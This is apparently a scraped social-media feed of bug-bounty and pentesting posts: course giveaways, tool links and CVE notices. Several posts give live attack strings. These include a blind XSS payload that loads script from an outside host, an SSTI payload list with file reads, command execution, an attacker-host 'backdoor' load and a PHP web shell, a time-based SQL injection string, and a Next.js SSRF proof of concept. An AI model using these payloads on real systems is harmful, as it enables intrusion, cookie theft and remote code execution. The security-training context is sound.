Severus

Security Researcher | CTF Player | Noob in Bughunting

[mini-Mikasa🪷 @minisoup051]

Unparalleled,timeless masterpiece

[Altered Security @AlteredSecurity]

Final Black Friday Giveaway!

Win FREE access to:
• 1 CRTP seat
• 1 CRTE seat

How to participate:
1. Like
2. Comment which course you’re interested in and why
3. Repost

If you've already availed the Black Friday offer, you're still eligible.
Winners will be announced on Dec 15, 2025.

Few days left to grab your Black Friday deals:
• Up to 25% OFF Labs & Bootcamps
• No coupon code needed
• Use anytime within 6 months

For More details: https://t.co/hp0GLwrqy7

[Severus @Severustalin]

@AlteredSecurity @0xSebin Crtp , to learn new things

[Clandestine @akaclandestine]

https://t.co/ymJ2NN1BPM

[Intigriti @intigriti]

Want to master AWS S3 hacking? 🤑

This thread is for you! 🧵 👇

[The SecOps Group @TheSecOpsGroup]

🚨Blind XSS Challenge 🚨

*** 𝗟𝗶𝗸𝗲, 𝗮𝗻𝗱 𝗥𝗲𝘀𝗵𝗮𝗿𝗲 𝘁𝗼 𝘄𝗶𝗻 𝗮 𝗳𝗿𝗲𝗲 𝗖𝗔𝗣𝗲𝗻𝗫 𝗲𝘅𝗮𝗺 ***
3 lucky winners will receive a FREE exam! ✔️

This time Bob 🕵️suspects that an endpoint might be vulnerable to blind XSS and wants to exploit it to access the admin panel.

𝑻𝒉𝒆 𝒄𝒂𝒕𝒄𝒉?
The feedback form only allows 40 characters. Can you craft a payload, such that you can steal the admin's cookie?

𝘾𝙤𝙢𝙢𝙚𝙣𝙩 𝙮𝙤𝙪𝙧 𝙋𝙖𝙮𝙡𝙤𝙖𝙙 𝙗𝙚𝙡𝙤𝙬 👇

Put on your hacker hats 🤠, and share your best payloads to help Bob succeed and to be in the winners list!

P.S - A 90% discount on the exam will end soon ⌛
🔖𝗣𝗿𝗼𝗺𝗼 𝗖𝗼𝗱𝗲: CAPenX-90-OFF

📍 Know more about CAPenX, our most advance web application pentesting exam: https://t.co/LFzyUWCtwX

[H4x0r.DZ @h4x0r_dz]

CVE-2024-34351 : Server-Side Request Forgery on Next.js

https://t.co/uHkC2VUHzr
https://t.co/6o8dNJxDuz

POC:

POST /x HTTP/2
Host: attacker*com
Content-Length: 2
Next-Action: xxxx

{}
#BugBounty #bugbountytips

[H4x0r.DZ @h4x0r_dz]

CVE-2024-27130, an unauthenticated stack overflow bug, which allows remote-code execution on qnap

credit @watchtowrcyber

https://t.co/g41IUw20v9

Yes Yes it is Friday , the perfect day to drop the 0day

[Severus @Severustalin]

@nikhil_mitt AD love 🔥

[Nikhil Mittal @nikhil_mitt]

🚨 I am giving away 1 seat each of our June Red team (CRTP) and Azure (CARTP) bootcamps. 🚨

Repost, like and reply to this tweet to participate. I will announce the winners on Monday (27th May).

https://t.co/sKR2ZXihOI

#redteam #pentest #giveaway

[Ruurtjan Pul @Ruurtjan]

I ❤️ DNS

I’ve spent 2 years full-time building https://t.co/LYem2r1nIJ.

Now, I’m teaching everything I know in this course.

[Hussein Muhaisen @husseinmuhaisen]

BREAKDEV Red community highlights:

[1] Evilginx + BITB 2024:
https://t.co/XIocJKoLUE
[2] Deploy testing infrastructure easily: https://t.co/OOMHwckVSP
[3] Mobile phishing 2024:
https://t.co/N4j0X71gYG
[4] Protect against modern phishing attacks:
https://t.co/HIjSX4RkVW

[FOFA @fofabot]

⚠️⚠️CVE-2024-0252 Zoho ManageEngine ADSelfService plus RCE Vulnerability
CVSS: 9.9🔥

FOFA Query: app="ManageEngine-ADSelfService-Plus"

Link🔗: https://t.co/IT4D2ADwsv

Refer: https://t.co/orqooLQhkx

[Cybernetic Research @cybernetic_res]

SQL Injection On **sitemap.xml** endpoint

target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)#
sleep payload
[1;SELECT IF((8303>8302),SLEEP(9),2356)#] = 9s
Credits:@GodfatherOrwa
#bugbountytips #BugBounty #bugbountytip #bugbounty

[X @TheMsterDoctor1]

🔖#SEARCH ENGINES FOR PENTESTERS

01. https://t.co/SUwtICa7YT —> (Server , Vulnerabilities)
02. https://t.co/863j3iqn7t —> (Dorks)
03. https://t.co/9shAcMP5s3 —> (Wifi Networks)
04. https://t.co/68teNksLcl —> (Codes Search)
05. https://t.co/1DsGuoiv40 —> (Threat Intelligence)
06. https://t.co/GwHthyJrAR —> (Server)
07. https://t.co/fvUPZ3pDJA —> (Threat Intelligence)
08. https://t.co/bPjA7RlTAB —> (Server)
09. https://t.co/M0tck9dzol —> (Email Addresses)
10. https://t.co/1kMj2Esd0d —> (Threat Intelligence)
11. https://t.co/rsXkfhqzFr —> (Threat Intelligence)
12. https://t.co/b0VURGvrFU —> (Threat Intelligence)
13. https://t.co/txpnVqmgWH —> (OSINT)
14. https://t.co/jIx7c286YA —> (Attack Surface)
15. https://t.co/qAVo9YGQQw —> (Code Search)
16. https://t.co/F2p3Xkr50D —> (Threat Intelligence)
17. https://t.co/ly0sko6zYS —> (Code Search)
18. https://t.co/jfCFPeL3Xn —> (Attack Surface)
19. https://t.co/uiC5kGAAO3 —> (Threat Intelligence)
20. https://t.co/XtSl8AQ6qO —> (Attack Surface)
21. https://t.co/ZoOdzH2UL6 —> (Server)
22. https://t.co/3SNVM49m71 —> (Certificate Search)
23. https://t.co/GtNzqQJhAz —> (Vulnerabilities)
24. https://t.co/NtylEGKkhn —> (Threat Intelligence)

— Share & Support Us —
➯ Channel : dm me for the channel

[Bhagirath Saxena 🇮🇳 @rix4uni]

Bug: Blind XSS

Tip:
watch this @NahamSec video https://t.co/5cg7uCWmEM

Payload:
';"/></textarea></script><script/src=//xss.report/c/username></script>

Thank You:
@NahamSec @ReebootToInit5 bhai 1 euro 🤣

#bugbountytips #bugbountytip

[Suhrad @SuhradMakwana]

SSTI (Server Side Template Injection)

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ [].__class__.__base__.__subclasses__O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

#bugbountytip #BugBounty #Pentesting #infosecurity #Security #CyberSecurity

[Patrik Grobshäuser @ITSecurityguard]

Just released an extension for Burpsuite that allows you to quickly extract the links to Javascript files of a website from the Burpsuite Site map:

https://t.co/nXZPegt1pw

#BugBounty #Pentesting #bugbountytip #bugbountytips

demo 👇

[Clint Gibler @clintgibler]

🤫 PostLeaks

Tool that searches for sensitive data in public Postman API assets

#bugbountytips #cybersecurity

https://t.co/zScNn0FDYT

[🇸🇦 Murtada Bin Abdullah (Rood) @0x_rood]

New tip

1- Fuzz target
2- phpmyadmin/setup/index.php --&gt; 403
3- phpMyAdminOLD/setup/index.php --&gt; 200

add phpMyAdminOLD/setup/index.php to your wordlist

#bugbounty #bugbountytips